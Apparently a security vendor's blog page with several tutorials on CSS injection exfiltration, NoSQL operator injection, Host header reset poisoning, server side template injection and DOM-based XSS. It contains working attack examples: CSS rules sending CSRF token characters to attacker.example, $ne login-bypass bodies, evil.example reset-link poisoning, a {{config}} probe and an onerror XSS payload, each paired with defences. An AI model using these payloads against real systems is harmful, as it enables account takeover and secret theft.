    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • CSS Injection: Stealing Data With Style Rules and No JavaScript

    CSS Injection: Stealing Data With Style Rules and No JavaScript

    CSS injection is an attack where someone who can add style rules to a page uses selectors and background image URLs to read a secret, such as a CSRF token, out of that page one character at a time and send it to a server they control, with no JavaScript at all. It is the trick people forget about because styling sounds harmless. This post walks through how it works, why it got faster, and what stops it.

    How does CSS injection happen?

    The bug shows up wherever an app lets a user push raw style into a page that other content sits next to. A few common shapes:

    • A theming or customization feature that takes user supplied CSS and drops it into a <style> block.
    • An unsanitized style attribute reflected from input into the markup.
    • Injected HTML that a Content Security Policy allows to carry styles but not scripts, so a <style> or <link rel="stylesheet"> gets through while <script> is blocked.

    That last case is the interesting one. Teams ship a strict CSP, see script is locked down, and assume injected markup is now toothless. CSS alone proves that wrong. The attacker does not need to run code, only to make the browser fetch a URL, and CSS offers several ways to do that.

    How do attribute selectors leak a value?

    CSS can match an element on the contents of one of its attributes, and it can trigger a network request when the match succeeds. Put those two facts together and you have an exfiltration primitive. Say the page contains a hidden CSRF field:

    <input type="hidden" name="csrf" value="a8f3c1d0...">

    The attacker injects a rule that only matches if the value starts with the letter a, and that rule loads a background image from their server:

    input[name="csrf"][value^="a"] {
      background: url(//attacker.example/leak?c=a);
    }

    The ^= operator means “starts with”. If the token begins with a, the selector matches, the browser tries to paint the background, and it fetches //attacker.example/leak?c=a. If the token starts with anything else, no request fires. The attacker ships one rule per possible first character:

    input[name="csrf"][value^="a"] { background: url(//attacker.example/leak?c=a); }
    input[name="csrf"][value^="b"] { background: url(//attacker.example/leak?c=b); }
    input[name="csrf"][value^="c"] { background: url(//attacker.example/leak?c=c); }
    /* ... one rule for every character ... */

    Whichever rule matches reveals the first character. The attacker then learns the next with rules like [value^="a8"], then [value^="a8f"], and so on, so the secret comes out one position at a time. This is the brute force at the heart of CSS injection: the browser runs the comparison and reports the answer by which image it loads.

    CSS never reads the token out loud. It just loads a different background depending on what the token starts with, and that choice is the leak.

    Why was this slow at first, and how did it get fast?

    The naive version is painful because each prefix guess needs a page reload so new rules can run against the longer known prefix. A 32 character hex token could mean dozens of reloads, usually driven by reframing the target in an <iframe> and swapping the CSS between loads. If the target sends X-Frame-Options: deny, even that path closes.

    The font trick

    One early speedup abused fonts. With @font-face you can declare a custom font and restrict it to a set of characters using the unicode-range descriptor. Point each ranged font at a URL on the attacker server, and the browser only fetches the font for a character if that character is actually rendered on the page. That turns “is this character present” into a network request without per character selectors. It has a real limit: it tells you which characters appear, not their order, and a repeated character only fires once. Useful for detecting content, weak for reconstructing an exact ordered token.

    Pulling text into reach with attr() and ::before

    CSS can also surface attribute text directly. The attr() function pulls an attribute value into a generated content box made with ::before or ::after. Combined with the font technique above, that renders attribute text as glyphs the attacker can then detect, widening what counts as on the page.

    Recursive import and import chaining

    The bigger jump was getting the whole job done in a single page load. With @import an injected stylesheet can pull in another stylesheet from the attacker server, and that server can hold the connection open and decide what to send next based on which leak requests it has already seen. The match for character one arrives, and the server streams the next stylesheet probing character two, with no reload. This is the idea behind sequential import chaining, demonstrated by d0nut, and the blind exfiltration work later published by PortSwigger built a general extractor on the same foundation. A token that once needed many framed reloads can come out in a couple of seconds.

    What can CSS steal, and what can it not?

    CSS selects on structure and attributes, not on the text inside an element. Be honest about that boundary, because it separates CSS injection from full script execution. There is no selector for a paragraph whose text contains a given word. So attackers go after what CSS can see:

    • Attribute values, like the value of a hidden input, a form action, or an anchor href.
    • Presence of characters, through the font and unicode-range approach.
    • Layout side effects. Long content can create a scrollbar or overflow, and a rule tied to scroll position can fire a request, turning a layout change into a one bit signal.

    The keylogging nuance

    People hear “CSS keylogger” and assume CSS can watch typing. It mostly cannot, and the reason is specific. A selector like input[value$="x"] matches on the value attribute, which holds the default value the markup shipped with. When a user types, the browser updates the element’s live value property, not that attribute, so the selector never tests what was typed. A pure CSS keylogger therefore does not work on a plain input. It only works when something else keeps the attribute in sync with typing, as some frameworks once did by mirroring state onto the attribute. Worth stating plainly so nobody overclaims it.

    How do you defend against a styling channel like this?

    The fixes are about not handing attackers a styling channel into sensitive pages:

    • Do not let users inject raw CSS. If a theming feature needs styling, expose a fixed set of properties and values, not a free text style block.
    • Sanitize and allowlist style properties. Strip style attributes from reflected input, and if you must keep some, allow a known safe list and reject anything that can fetch a URL.
    • Set a strict Content Security Policy. Use style-src, defined in the CSP specification, to refuse inline and third party stylesheets, and lock img-src and font-src to your own origin. If images and fonts can only load from you, a matched selector has nowhere to send the leak.
    • Isolate untrusted styled content. Keep attacker influenced markup in a separate origin or sandboxed frame so it never shares a document with a CSRF token or other secret.

    How does this compare to XSS?

    CSS injection is the weaker cousin of cross site scripting. With XSS the attacker runs arbitrary JavaScript and reads anything in the page. With CSS they get a slow, indirect side channel that leaks attributes one character at a time. The reason it still matters is reach: it works in exactly the spots where script is blocked, like a hardened CSP or a sink that allows style but not <script>. If you have studied how a clean page can still execute attacker logic in dom based xss, treat CSS injection as the same lesson applied to a channel teams rarely watch. The flaw is an assumption that styling is safe because it is not code.

    Finding that kind of gap means asking what each part of a page is trusted to do and proving where that trust breaks, which is the work UnboundCompute does as an autonomous researcher that tests an app’s assumptions and backs each finding with evidence. Learn more on our about page.

    Frequently asked questions

    Can CSS steal data without any JavaScript?

    Yes. CSS can match an element on its attribute value and load a background image only when the match succeeds. An attacker ships one rule per possible character, and whichever rule fires a network request tells them what the value starts with. Repeating that learns a secret like a CSRF token one position at a time, with no script involved.

    How does an attribute selector leak a CSRF token?

    A rule such as input[name="csrf"][value^="a"] with a url() background only matches when the token begins with the letter a. If it matches, the browser fetches the attacker’s URL and reveals that character. The attacker then probes the next position with a longer prefix, so the token comes out character by character.

    Can CSS read the text inside a page element?

    No, and this is the honest limit. CSS selects on structure and attributes, not on the text content of an element, so there is no selector for matching the words inside a paragraph. Attackers instead target attribute values, input values, and presence of characters through the unicode-range font trick, plus layout side effects like overflow and scroll.

    How do you stop CSS injection exfiltration?

    Do not let users inject raw CSS, and strip or allowlist any reflected style attributes. Set a strict Content Security Policy that locks style-src, img-src, and font-src to your own origin, so a matched rule has nowhere to send the leak. Keep untrusted styled content isolated from pages that hold secrets.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • What is NoSQL Injection? How Query Operators Get Abused

    What is NoSQL Injection? How Query Operators Get Abused

    NoSQL injection is what happens when an application builds a NoSQL query from user input without checking the shape of that input. Instead of breaking out of a string the way classic SQL injection does, the attacker slips in a query operator or a whole object where the code expected a plain value. The database does exactly what the rewritten query asks, which is often not what the developer meant.

    How NoSQL injection differs from SQL injection

    SQL injection is a syntax attack. The attacker types a quote and a fragment of SQL, the input gets glued into a text query, and the parser reads the attacker’s fragment as code. The classic example is ' OR '1'='1.

    NoSQL databases like MongoDB do not parse a text query in the same way. A query is a structured object, often JSON. So the attacker does not need to escape a string. They change the type of the input from a string to an object, and they put a query operator inside that object. The database treats the operator as a real part of the query.

    Take an invented note taking app called Acme Notes. Its login route looks up a user by username and password:

    // What the developer expects: two strings
    db.users.findOne({ user: req.body.user, pass: req.body.pass })
    
    // The intended query for a normal login
    { user: "alice", pass: "hunter2" }
    

    The developer assumed req.body.user and req.body.pass are always strings. The JSON body of a request does not promise that.

    The auth bypass with query operators

    MongoDB has comparison operators like $ne (not equal), $gt (greater than), and $gte (greater than or equal). If the attacker can put one of these into the query, they can make the password check meaningless.

    Instead of sending a password string, the attacker sends an object as the password value:

    POST /login
    Content-Type: application/json
    
    { "user": "admin", "pass": { "$ne": null } }
    

    Now the query the app builds is:

    db.users.findOne({ user: "admin", pass: { $ne: null } })
    

    This reads as: find the admin user whose password is not equal to null. The admin password is some real string, which is not null, so the condition is true and the document comes back. The attacker is logged in as admin without knowing the password.

    A variant drops the username too, so the query matches the first user in the collection:

    { "user": { "$gt": "" }, "pass": { "$gt": "" } }
    

    Here $gt: "" means greater than the empty string, which is true for almost any stored value. Both conditions pass and the app returns a user.

    The attacker never broke the query syntax. They changed a value into an operator, and the database followed orders.

    Operator injection through query strings

    This is not only a JSON problem. Many web frameworks parse bracket notation in query strings and form bodies into nested objects. Express with the qs parser is a common example. A request like this:

    GET /search?user[$ne]=null
    
    // gets parsed into
    req.query.user === { "$ne": null }
    

    If that value flows straight into a query, the attacker has injected an operator without sending any JSON at all. The same trick works in URL encoded form posts. So a route that looks like it only handles strings can still receive an object.

    Operator injection versus JavaScript injection

    There are two different shapes of NoSQL injection, and they need different fixes.

    Operator injection

    This is everything above. The attacker injects query operators such as $ne, $gt, $in, or $regex. The damage is bounded by what the query language can express, which is still enough for auth bypass, data extraction, and enumeration. A $regex value, for example, lets an attacker probe a secret one character at a time by watching which patterns return a match.

    JavaScript injection with $where

    MongoDB also lets some queries run server side JavaScript through the $where operator or the older mapReduce and eval features. If user input reaches a $where string, the attacker is no longer limited to query operators. They can inject JavaScript that runs inside the database:

    // Dangerous: user input concatenated into a $where string
    db.notes.find({ $where: "this.owner == '" + req.query.owner + "'" })
    
    // Attacker sends owner = x' || '1'=='1
    // The clause becomes always true, and worse expressions are possible
    

    This is closer to code execution than to query manipulation. It is rarer because $where is used less often, but the blast radius is larger. Treat any use of $where with user input as a serious problem on its own.

    How to detect NoSQL injection

    The core test is simple: send an object or an operator where the app expects a string, then watch the response.

    • Send a type change. In a JSON body, replace a string value like "pass": "x" with "pass": {"$ne": null}. In a query string, try field[$ne]=null or field[$gt]=.
    • Watch the result count. A search that returned three rows for a real term but suddenly returns the whole collection for {"$ne": null} is a strong signal that the operator reached the query.
    • Watch for auth bypass. If a login that should fail instead succeeds when you send an operator as the password, the query is being built from raw input.
    • Probe with regex timing or matches. A $regex value that changes which records come back, or that changes response time, tells you the value is being interpreted as an operator.

    Run these checks only against an app you own or have permission to test. If you want the wider family of input bugs, our injection and input category covers the rest.

    How to prevent NoSQL injection

    • Validate and cast types. A field that should be a string must be a string before it reaches the query. Cast it, or reject the request if it arrives as an object. If pass is ever an object, the login should fail closed, not run the query. This single rule stops the operator bypass.
    • Use an allowlist of operators. If your app legitimately accepts some operators for filtering, list the exact ones you allow and drop every key that starts with $ otherwise. Do not try to blocklist the dangerous ones, since the list keeps growing.
    • Never pass user input into $where or server side JavaScript. Avoid $where, mapReduce with user strings, and any eval style feature. Rewrite the logic as a normal structured query.
    • Use the driver’s typed query builders. Build queries with explicit field comparisons in code rather than spreading a user supplied object into the filter. A schema layer that enforces types, such as a model definition, gives you the cast and the rejection for free.
    • Sanitize at the edge. Strip or reject keys containing $ and . from request bodies and query objects before they reach the database layer.

    The pattern is the same as the lesson from SQL injection: never let untrusted input decide the structure of a query. With NoSQL the structure lives in object keys and types, so that is where the check belongs. For short definitions of the terms used here, see the web security glossary.

    Why NoSQL injection rewards understanding the app

    You do not find NoSQL injection by replaying one fixed payload. You find it by understanding which fields the app expects as strings, where the framework quietly turns input into objects, and whether the query trusts the shape of that input. The bug is an assumption, that a value would always arrive as a string, and the way to find it is to test that assumption directly.

    That is the kind of bug an autonomous researcher built to test an app’s assumptions is made to surface. You can read more about that approach on our about page.

    Frequently asked questions

    What is NoSQL injection?

    NoSQL injection is an attack where an application builds a NoSQL query from user input without checking its type. Instead of escaping a string like classic SQL injection, the attacker sends a query operator or an object where a plain value was expected. In MongoDB a password value of {"$ne": null} turns the password check into “not equal to null”, which is true for any real password, so the database returns the user and the attacker is logged in.

    How is NoSQL injection different from SQL injection?

    SQL injection is a syntax attack: the attacker escapes a string with a quote and injects SQL that the parser reads as code. NoSQL databases work with structured queries, often JSON objects, so there is no string to escape. The attacker instead changes the type of the input from a string to an object and puts a query operator inside it. The database treats that operator as a legitimate part of the query.

    What is the difference between operator injection and $where injection in MongoDB?

    Operator injection inserts query operators such as $ne, $gt, or $regex into a query, which is enough for auth bypass and data extraction but stays within the query language. The $where operator runs server side JavaScript, so if user input reaches it the attacker can execute JavaScript inside the database. That is closer to code execution and has a larger blast radius, so user input should never reach $where.

    How do you prevent NoSQL injection?

    Validate and cast types so a field expected to be a string can never arrive as an object, and fail closed if it does. Use an allowlist of permitted operators and drop any key starting with $ otherwise. Never pass user input into $where or other server side JavaScript features, and build queries with the driver’s typed query builders or a schema layer rather than spreading a user supplied object into the filter.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is Host Header Injection? How a Trusted Header Goes Wrong

    What is Host Header Injection? How a Trusted Header Goes Wrong

    Every HTTP request carries a Host header that names the site the client wants to reach. Host header injection happens when an application reads that header and trusts it as the truth about its own identity, then uses the attacker supplied value to build links, cache keys, or routing decisions. The header is client controlled, so trusting it hands part of the app’s behavior to whoever sends the request.

    What the Host header is and why apps trust it

    One IP address can serve many sites. The Host header is how the client tells the server which site it wants. A normal request to Acme Notes looks like this:

    GET /dashboard HTTP/1.1
    Host: app.acmenotes.example
    Cookie: session=...
    

    The web server uses Host to pick the right virtual host. So far so good. The trouble starts when application code reads the same header to decide what the site’s own address is, for example when generating an email link or an absolute URL. The value came from the client, and a client can write anything there.

    GET /dashboard HTTP/1.1
    Host: evil.example
    Cookie: session=...
    

    If Acme Notes echoes that host back into a link, a redirect, or an email, the attacker has steered the app to point at a domain they own.

    The Host header is a request from the client, not a fact about the server. Code that treats it as the server’s own identity is trusting input it should never have trusted.

    How a host header injection attack plays out

    Password reset poisoning

    This is the impact that turns a small bug into account takeover. Acme Notes builds its password reset email by reading the request host and gluing the reset token onto it:

    # Vulnerable: the base URL comes from the request
    reset_link = "https://" + request.host + "/reset?token=" + token
    send_email(user.email, reset_link)
    

    An attacker submits the reset form for a victim’s account but sends a tampered host:

    POST /forgot-password HTTP/1.1
    Host: evil.example
    Content-Type: application/x-www-form-urlencoded
    
    email=victim@acmenotes.example
    

    The server mails the victim a real reset link, but pointed at the attacker’s domain:

    https://evil.example/reset?token=Ab19f3...c204
    

    If the victim clicks it, their browser sends the valid token to evil.example. The attacker reads it from their own server logs and resets the password. The email came from Acme Notes, the token is genuine, and the only forged part was one header.

    Web cache poisoning

    If a cache sits in front of Acme Notes and the host header is reflected into a cached response, an attacker can poison the entry. Suppose a page echoes the host into an absolute script tag:

    <script src="https://app.acmenotes.example/static/app.js"></script>
    

    An attacker sends a request with Host: evil.example. If the cache stores that response under the normal cache key, the next real visitor receives a page that loads script from the attacker’s domain. See our note on web cache deception for how cache behavior turns one bad response into many.

    Routing to internal vhosts and SSRF like behavior

    Some setups route by host name to internal services. A tampered host such as Host: admin.internal or Host: localhost can reach a virtual host that was never meant to face the public internet. When a back end fetches a URL it built from the host header, the request can be steered at internal addresses, which overlaps with server side request forgery. The shape is the same: a client controlled value decides where a server side action points.

    X-Forwarded-Host and friends

    Even apps that validate Host often trust the headers a proxy adds. X-Forwarded-Host, X-Host, X-Forwarded-Server, and Forwarded are all attacker controllable when they reach the app directly, and many frameworks prefer X-Forwarded-Host over Host when building URLs.

    POST /forgot-password HTTP/1.1
    Host: app.acmenotes.example
    X-Forwarded-Host: evil.example
    
    email=victim@acmenotes.example
    

    Here the Host looks clean, but the reset link still ends up on evil.example because the framework read the forwarded header first.

    How to detect host header injection

    • Send a tampered host and watch the response. Against an app you own, change Host to a value you control and look for it reflected in links, redirects (the Location header), canonical tags, or script sources.
    • Trigger a password reset and read the email. Submit the reset form with a tampered Host and again with X-Forwarded-Host. If the link in the email points at your value, the email path is vulnerable.
    • Test the forwarded headers separately. A clean Host result does not clear the app. Repeat each check with X-Forwarded-Host and X-Host set.
    • Check the default vhost. Send a request with an unknown host. If the server answers with the real app instead of rejecting it, host based routing is loose.

    How to prevent host header injection

    • Validate the host against an allowlist. Compare the incoming Host to a fixed set of known domains and reject anything else with a 400 before the request reaches application logic.
    • Build links from a canonical base URL in config. Store the site’s real address as a setting, for example BASE_URL=https://app.acmenotes.example, and build every absolute URL and email link from that value. Never concatenate the request host into a link.
    • Do not trust forwarded headers blindly. Only honor X-Forwarded-Host when it comes from a proxy you control, and strip it at the edge otherwise. Configure your framework’s trusted host or allowed host list explicitly.
    • Set a strict default virtual host. Configure the web server so requests with an unknown host get rejected instead of falling through to the main app. This closes loose routing and internal vhost access at the front door.

    For the wider pattern of trusting client supplied data, the injection and input category collects related bugs, and the web security glossary defines the terms used here.

    Why this rewards understanding the app

    You do not find host header injection by firing a fixed payload at a URL. You find it by understanding where the app turns the request host into a link, a cache key, or a route, and then testing whether it ever validates that value. The bug is an assumption, that the host header tells the truth about the server, and the way to surface it is to test that assumption directly. That is the kind of bug an autonomous researcher built to test an app’s assumptions is meant to catch. You can read more about that approach on our about page.

    Frequently asked questions

    What is host header injection?

    It is a bug where an application reads the client supplied Host header and trusts it as the truth about its own address, then uses that value to build links, cache keys, or routing decisions. Because any client can set Host to whatever it wants, an attacker can steer the app to point at a domain they control. The same risk applies to forwarded headers like X-Forwarded-Host.

    How does password reset poisoning work?

    An app that builds its reset link from the request host, such as "https://" + request.host + "/reset?token=" + token, can be tricked. The attacker submits the victim’s email in the reset form but sends a tampered Host: evil.example. The app mails the victim a genuine reset token pointed at the attacker’s domain. If the victim clicks, the valid token lands in the attacker’s logs and the account is taken over.

    Is X-Forwarded-Host dangerous too?

    Yes. Many frameworks prefer X-Forwarded-Host over Host when generating URLs, so an app that validates Host can still be exploited through the forwarded header. The same goes for X-Host, X-Forwarded-Server, and Forwarded. Only honor these headers when they come from a proxy you control, and strip them at the edge otherwise.

    How do you prevent host header injection?

    Validate the incoming Host against an allowlist of known domains and reject anything else with a 400. Build every absolute URL and email link from a canonical base URL stored in config, never from the request host. Configure your framework’s trusted host list explicitly, and set the web server’s default virtual host to reject requests with an unknown host instead of serving the main app.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is Server Side Template Injection? SSTI Explained

    What is Server Side Template Injection? SSTI Explained

    Many web apps build pages by dropping data into a template before sending it to the browser. Server side template injection happens when user input reaches the template engine as template code instead of plain data, so the server runs whatever the attacker writes. What starts as a string in a form field can end up reading server configuration, files, and in the worst case running arbitrary commands.

    How server side template injection works

    Picture a small app called Acme Notes. It lets people set a display name, and the welcome banner greets them by it. The developer wanted a quick way to personalize the message, so they built the banner by stuffing the name straight into a template string:

    # Acme Notes, Python with Jinja2 (vulnerable)
    name = request.args.get("name")
    template = "Hello " + name + ", welcome back to Acme Notes"
    return render_template_string(template)
    

    The mistake is concatenating user input into the template source. Jinja2 now treats the name as template code, not as a value to display. So if a visitor sets their name to {{7*7}}, the engine evaluates the expression and the banner reads Hello 49, welcome back to Acme Notes. A normal user would never see 49 there. That stray math is the tell that the input is being executed.

    The app meant to print the user’s text. Instead it is running the user’s text. That gap between data and code is the whole bug.

    From {{7*7}} to reading config and RCE

    Returning 49 is harmless on its own. The reason this bug matters is what comes next. Template engines expose objects to the templates they render, and an attacker who controls template code can walk those objects to reach far more than a greeting.

    In a Jinja2 app, a common next probe is to print the application config. The attacker sets their name to {{config}} and the banner dumps the Flask config object, which often holds secret keys, database URLs, and API tokens:

    # Input
    name = {{config}}
    
    # Output (illustrative)
    <Config {'SECRET_KEY': 'a8f3...', 'SQLALCHEMY_DATABASE_URI': 'postgres://...'}>
    

    From there, the escalation is object traversal. Python objects expose their class, base classes, and subclasses through attributes like __class__ and __mro__. By climbing from a harmless string to object and back down to a subclass that can run system commands, an attacker reaches code execution. The exact chain is engine specific and we are not publishing a working one here, but the shape looks like this:

    # Shape of the escalation, not a copy paste payload
    {{ ''.__class__.__mro__[1].__subclasses__() }}   # enumerate reachable classes
    # ... then pick a class that wraps os/subprocess and call it
    

    That is the path from a math test to remote code execution. The same idea applies across engines. Each one exposes a different object graph, so the traversal differs, but the principle holds: control the template, reach the runtime.

    Client side vs server side template injection

    The names sound alike and they are easy to confuse, so it helps to separate them.

    • Server side template injection runs on the server, inside the rendering engine. The impact is server config disclosure, file reads, and remote code execution. This is the dangerous one.
    • Client side template injection runs in the browser, inside a frontend framework template such as an older AngularJS expression context. The impact is usually closer to cross site scripting, contained in the visitor’s session, not on your server.

    A quick way to tell them apart: if {{7*7}} resolves to 49 in the raw HTML returned by the server before any JavaScript runs, you are looking at server side injection. Both are forms of injection, the same family as command injection, where untrusted input crosses into an interpreter.

    How to detect it

    Detection rests on a small set of probes against an app you own or are authorized to test.

    The {{7*7}} test

    Send a math expression in each input that ends up rendered: {{7*7}}, and for other engines ${7*7} or <%= 7*7 %>. If the response contains 49 instead of the literal text, the input is being evaluated.

    A polyglot probe

    You often do not know which engine is in use. A single probe that mixes several syntaxes lets one request fan out across engines. A common one looks like ${{<%[%'"}}%\, which is malformed in most contexts and tends to trigger a revealing error or a partial evaluation that names the engine.

    Error based clues

    Even when nothing evaluates, a broken template expression often throws a stack trace. The exception class and file paths usually name the engine outright, for example a jinja2.exceptions.TemplateSyntaxError or a Freemarker parse error. That tells you what to test next.

    The engine families you will meet

    You do not need to memorize every engine, but knowing the major families and their tells speeds up both detection and fixing. At a high level:

    • Jinja2 (Python, used by Flask). Syntax {{ ... }}. The {{config}} dump and class traversal live here.
    • Twig (PHP). Also {{ ... }}, with filters like {{7*7}} evaluating to 49. Object access differs from Jinja2.
    • Freemarker (Java). Syntax ${ ... }, with built in helpers that can reach Java’s runtime if left unsandboxed.
    • ERB (Ruby). Syntax <%= ... %>, which embeds raw Ruby, so injection here is direct code execution.

    The lesson across all of them: a feature meant to format output becomes an execution surface the moment user input controls the template rather than fills it.

    How to prevent server side template injection

    The fixes are concrete and most of them are about keeping data and code apart.

    • Never pass user input into a template as template code. The Acme Notes bug came from concatenating the name into the template source. Pass it as a context variable instead, so the engine treats it as data: render_template("banner.html", name=name), never render_template_string("Hello " + name).
    • Use logic less or sandboxed templates. Engines like Mustache or Handlebars are logic less by design, so there is no expression to inject into. When you must use a richer engine, run it in its sandboxed mode so object traversal is blocked.
    • Apply contextual escaping. Make sure output is escaped for the context it lands in, HTML, attribute, or JavaScript, so injected markup is rendered as text, not interpreted.
    • Use allowlists for any dynamic template choice. If users can pick a template or a theme, map their choice to a fixed set of known names on the server. Never build a template path or template body from raw input.
    • Keep engines patched and review the render calls. Search your code for the engine’s render from string functions. Those are where this bug almost always hides.

    For the wider pattern, our injection and input category covers the family this belongs to, and the web security glossary defines the terms used above.

    Why this rewards understanding the app

    You rarely find server side template injection by firing a fixed payload list. You find it by noticing that a field is reflected, asking whether that reflection passes through a template, and testing that assumption with a single {{7*7}}. The bug is an assumption the developer made, that the name was only ever data, and the way to catch it is to question that assumption directly.

    That is the kind of bug an autonomous researcher that tests an app’s assumptions is built to surface. You can read more about that approach on our about page.

    Frequently asked questions

    What is server side template injection?

    It is a bug where user input reaches a template engine as template code instead of plain data, so the server executes it. In a vulnerable app, setting a field to {{7*7}} returns 49 because the engine evaluated the expression. From there an attacker can read server config and often reach remote code execution. The formal bug class is described in MITRE CWE 1336.

    How is the {{7*7}} test used to detect it?

    You send a math expression into each input that gets rendered, such as {{7*7}} for Jinja2 or Twig, ${7*7} for Freemarker, and <%= 7*7 %> for ERB. If the response shows 49 instead of the literal text, the input is being evaluated as template code rather than displayed, which confirms server side template injection. A normal app would echo the characters unchanged.

    What is the difference between server side and client side template injection?

    Server side template injection runs inside the rendering engine on the server, so the impact is config disclosure, file reads, and remote code execution. Client side template injection runs in a browser framework template and behaves more like cross site scripting, contained in the visitor’s session. If {{7*7}} resolves to 49 in the raw HTML before any JavaScript runs, it is server side. See the OWASP guide to server side template injection.

    How do you prevent server side template injection?

    Never concatenate user input into a template body. Pass it as a context variable so the engine treats it as data, for example render_template("banner.html", name=name) rather than building the template string from input. Use logic less templates like Mustache or run richer engines in sandboxed mode, apply contextual output escaping, and map any user chosen template to a fixed allowlist of known names on the server.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is DOM based XSS?

    What is DOM based XSS?

    If you already know the basics of cross site scripting, dom based xss is the variant that surprises people. The payload never reaches the server. The whole bug lives in client side JavaScript that reads attacker controlled input and writes it into the page in an unsafe way. The HTML the server sends can be perfectly clean, and the page still runs attacker code.

    What makes dom based xss different

    Stored and reflected XSS both pass through the server, which either saves the payload or echoes it back into the response body. So a server side filter, a template that escapes output, or a web application firewall all get a chance to see the input and stop it.

    DOM based XSS skips that path. The browser loads a clean page, then JavaScript on that page reads something the attacker controls and feeds it into a part of the DOM that turns text into code. The server may never receive the malicious value at all. This is why people call it a client side bug. The flaw is in the script the site already ships, not in any HTML the backend builds.

    In a dom based xss bug the dangerous step happens after the page has loaded, inside JavaScript the site wrote, using input the server may never see.

    Sources: where the attacker controlled input comes in

    A source is any place client JavaScript reads input that an attacker can influence. To find these bugs, learn the common sources by name and grep your code for them:

    • location.hash, the part of the URL after the #. The browser never sends this to the server, so it is the classic source for a bug the backend cannot see.
    • location.search, the query string. The server can read this too, but if JavaScript also reads it and writes it into the DOM, you have a client side path that bypasses server escaping.
    • document.referrer, the URL of the page that linked here. An attacker controls it by hosting the linking page.
    • postMessage data. A handler that trusts event.data without checking event.origin takes input straight from any page that can reach the frame.
    • Stored values like localStorage or a cookie that some other flow let the attacker set earlier.

    Sinks: where that input becomes code

    A sink is a DOM API that can turn a string into markup or executable code. Input from a source is only dangerous when it reaches a sink. Watch these:

    • innerHTML and outerHTML, which parse a string as HTML.
    • document.write and document.writeln, which inject HTML straight into the parser.
    • eval, setTimeout with a string, setInterval with a string, and the Function constructor, which run a string as JavaScript.
    • setAttribute when you set an event handler or an href that starts with javascript:.
    • jQuery sinks like $(el).html(value), and also $() itself when you pass it a string that looks like HTML.

    The bug is the join: a source flows into a sink with no encoding or validation in between. Find that flow and you have found the vulnerability. How the browser interprets a response can widen these sinks too, since a missing or weak content type lets the browser guess and run bytes you meant as data, which our free MIME sniffing checker inspects for you.

    A concrete example on Acme Notes

    Acme Notes is an invented app, a small site where people keep public notes. It is not a real product. The notes page shows a banner using the part of the URL after the #, so people can bookmark a link that greets them by name.

    Here is the vulnerable flow, source to sink:

    // SOURCE: location.hash, never sent to the server
    const name = decodeURIComponent(location.hash.slice(1));
    
    // SINK: innerHTML parses the string as HTML
    document.getElementById('banner').innerHTML = 'Welcome back, ' + name;

    With a normal link like https://acme-notes.example/#Riley the banner reads Welcome back, Riley and everything is fine. Now an attacker shares this link:

    https://acme-notes.example/#<img src=x onerror=alert(document.domain)>

    The browser loads Acme Notes, the script reads the hash, and innerHTML parses it into a real img element. The image fails to load, the onerror handler runs, and the script executes on the Acme Notes origin. A real attacker would replace the alert with code that reads the session token. The victim only had to click a link.

    Why server side filters do not catch dom based xss

    Look again at the link. Everything after the # stays in the browser. The server gets a request for / with no payload attached. So none of the usual server side defenses ever see the attack:

    • A web application firewall inspecting request bodies and query strings sees nothing, because the value is in the fragment.
    • A template engine that escapes output does not help, because the server never renders this value. The browser does.
    • Input validation on the API has no input to validate.

    Even when the source is location.search, which the server does receive, escaping it for the response body does nothing for a second, separate read by JavaScript on the client. The protection has to live where the bug lives, in the browser.

    How to fix it

    The fix is to keep attacker input as data on the client, the same principle as server side XSS, applied to DOM APIs. Here is the corrected Acme Notes banner next to the safe options:

    // FIX 1: textContent treats the value as plain text, never as HTML
    const name = decodeURIComponent(location.hash.slice(1));
    document.getElementById('banner').textContent = 'Welcome back, ' + name;
    
    // FIX 2: build nodes with safe DOM APIs instead of HTML strings
    const span = document.createElement('span');
    span.textContent = name;
    banner.append('Welcome back, ', span);

    Beyond that single line, these habits prevent the whole class:

    • Use textContent instead of innerHTML whenever you only need to show text.
    • Let a framework do the escaping. React, Vue, and Angular escape interpolated values by default, so the danger is the explicit escape hatch like dangerouslySetInnerHTML or v-html.
    • Turn on Trusted Types with a Content Security Policy header. It blocks strings from reaching sinks like innerHTML unless they pass through a policy you wrote: Content-Security-Policy: require-trusted-types-for 'script'. Our free Content Security Policy generator can build a strict policy with that directive included.
    • If you truly need to render user HTML, run it through a maintained sanitizer such as DOMPurify, or the built in Sanitizer API where it is available, before it touches a sink.
    • For postMessage, check event.origin against an allow list before you trust event.data.

    Self XSS and when it stops being harmless

    Some DOM sinks only fire on input the victim types into their own browser, like a value pasted into the developer console or a field only that user can edit. That is self XSS, and on its own it is low impact, because a person can only attack themselves. Treat it carefully though. Self XSS can be upgraded into a real attack when it is chained with another bug that delivers the payload for the victim, for example a way to seed localStorage or set a value through a separate request. A finding that looks self inflicted may become serious once you connect it to a second hole, so it is worth verifying the full chain rather than dismissing it.

    Finding these flows in practice

    Spotting dom based xss is source to sink tracing. List every source the page reads, follow each value through the code, and flag any that reaches a sink without encoding. This is tedious by hand because the flow can cross functions, event handlers, and third party scripts. For related input bugs and the broader XSS coverage on this site, see our injection and input category.

